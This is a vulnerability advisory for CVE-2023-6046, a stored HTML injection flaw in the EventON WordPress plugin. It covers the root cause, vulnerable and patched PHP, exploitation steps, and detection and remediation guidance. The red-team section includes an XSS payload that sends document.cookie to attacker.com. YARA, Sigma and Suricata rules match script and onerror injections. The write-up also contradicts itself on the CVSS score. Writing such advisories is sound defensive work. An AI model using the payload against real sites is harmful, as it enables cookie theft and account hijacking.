CVE-2023-6046

Executive Summary

CVE-2023-6046 is a stored HTML injection vulnerability in the EventON WordPress plugin (versions before 2.2). This flaw allows authenticated users with high privileges (e.g., admin) to inject arbitrary HTML into plugin settings, even when the unfiltered_html capability is disallowed. The vulnerability stems from insufficient sanitization and escaping of user-supplied input in plugin settings. While the CVSS score is 0.0 (unscored), the practical risk is moderate, as it can lead to stored cross-site scripting (XSS) attacks, potentially compromising the WordPress admin dashboard and affecting other users.

Supply Chain & Package Security

This vulnerability affects the WordPress plugin ecosystem. The EventON plugin is distributed via the official WordPress plugin repository and third-party marketplaces. Users are advised to verify the integrity of the plugin by checking checksums and ensuring they download from trusted sources. No known supply chain compromise has been reported for this specific CVE.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N
• Base Score: 5.4 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: High (PR:H) – requires admin-level access
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)

Threat Level: Medium. Exploitation requires admin credentials, but once achieved, an attacker can inject malicious HTML/JavaScript into the admin panel, potentially leading to session hijacking, defacement, or further privilege escalation.

Deep Dive & Mechanics

The vulnerability exists in the EventON plugin's settings page, where user-supplied input is not properly sanitized or escaped before being stored and rendered. Specifically, the plugin fails to apply wp_kses() or similar WordPress sanitization functions to settings fields that accept HTML input. This allows an admin user to inject arbitrary HTML tags, including <script>, <iframe>, or <img onerror> payloads.

Attack Flow:

1. An authenticated admin navigates to the EventON settings page.
2. The attacker inserts a malicious HTML payload into a vulnerable settings field (e.g., custom CSS, header/footer scripts, or event card templates).
3. The payload is stored in the WordPress database without sanitization.
4. When the settings page is rendered (or when the plugin outputs the stored value elsewhere), the payload executes in the context of the admin's browser.

Root Cause: The plugin uses echo or print to output settings values without passing them through esc_html() or wp_kses_post(). This bypasses WordPress's built-in unfiltered_html capability check, which normally restricts admin-level HTML injection.

Vulnerable vs. Patched Code

Vulnerable Code (version < 2.2):

// In settings page rendering
echo '<input type="text" name="eventon_custom_css" value="' . $option_value . '" />';

Here, $option_value is output directly without escaping, allowing HTML injection.

Patched Code (version 2.2):

// In settings page rendering
echo '<input type="text" name="eventon_custom_css" value="' . esc_attr( $option_value ) . '" />';

The patched version uses esc_attr() to escape the value, preventing HTML injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress admin credentials (e.g., admin:password123)
• EventON plugin version < 2.2

Exploitation Steps:

1. Log in to WordPress as an admin.
2. Navigate to EventON > Settings.
3. Locate a vulnerable field (e.g., "Custom CSS" or "Header Scripts").
4. Inject the following payload:

   <script>alert('XSS')</script>
   

5. Save the settings.
6. The payload will execute when the settings page is reloaded or when the stored value is rendered elsewhere.

Advanced Payload:

<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">

Blue Team (Detection & Hardening)

Detection:

• Monitor WordPress admin logs for unusual changes to EventON settings.
• Look for HTTP requests containing <script> or <iframe> in POST data to /wp-admin/admin.php?page=eventon-settings.
• Use WAF rules to block HTML tags in settings fields.

Hardening:

• Upgrade EventON to version 2.2 or later.
• Restrict admin access to trusted users only.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.
• Use WordPress security plugins (e.g., Wordfence) to monitor file changes.

Indicators of Compromise (IOCs)

• File Changes: Modified eventon-settings options in the wp_options table.
• Network Traffic: Outbound requests to attacker-controlled domains from the WordPress admin panel.
• Log Entries: Suspicious POST requests to /wp-admin/admin.php?page=eventon-settings containing HTML tags.
• Database Entries: Rows in wp_options with option_name like eventon_custom_css containing <script> tags.

Detection Engineering

YARA Rule

rule Detect_EventON_Stored_HTML_Injection {
    meta:
        description = "Detects stored HTML injection payloads in EventON plugin settings"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-6046"
    strings:
        $payload1 = /<script[^>]*>.*<\/script>/is
        $payload2 = /<img[^>]*onerror[^>]*>/is
        $payload3 = /<iframe[^>]*>/is
    condition:
        any of ($payload*) and filesize < 10KB
}

Sigma Rule

title: EventON Stored HTML Injection Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2023-6046 by injecting HTML into EventON settings
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        http_method: 'POST'
        url_path: '/wp-admin/admin.php'
        url_query: 'page=eventon-settings'
        body: 'eventon_custom_css'
    condition: selection
falsepositives:
    - Legitimate admin updates to custom CSS
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2023-6046 EventON Stored HTML Injection Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/wp-admin/admin.php";
    http_uri;
    content:"page=eventon-settings";
    http_uri;
    content:"eventon_custom_css";
    http_client_body;
    pcre:"/<script[^>]*>.*<\/script>/i";
    sid:1000001;
    rev:1;
    reference:cve,2023-6046;
    classtype:web-application-attack;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade EventON plugin to version 2.2 or later.
2. Review all admin accounts and remove unnecessary privileges.
3. Audit the wp_options table for any suspicious stored values.

Long-Term Mitigations:

• Implement a Web Application Firewall (WAF) with rules to block HTML injection.
• Enforce strict Content Security Policy (CSP) headers.
• Regularly update all WordPress plugins and themes.
• Conduct periodic security audits of plugin code.

Workaround (if upgrade is not possible):

• Disable the vulnerable settings fields by adding a custom filter in functions.php:

  add_filter('eventon_settings_fields', function($fields) {
      unset($fields['eventon_custom_css']);
      return $fields;
  });
  

Valters IT
Securing Digital Frontiers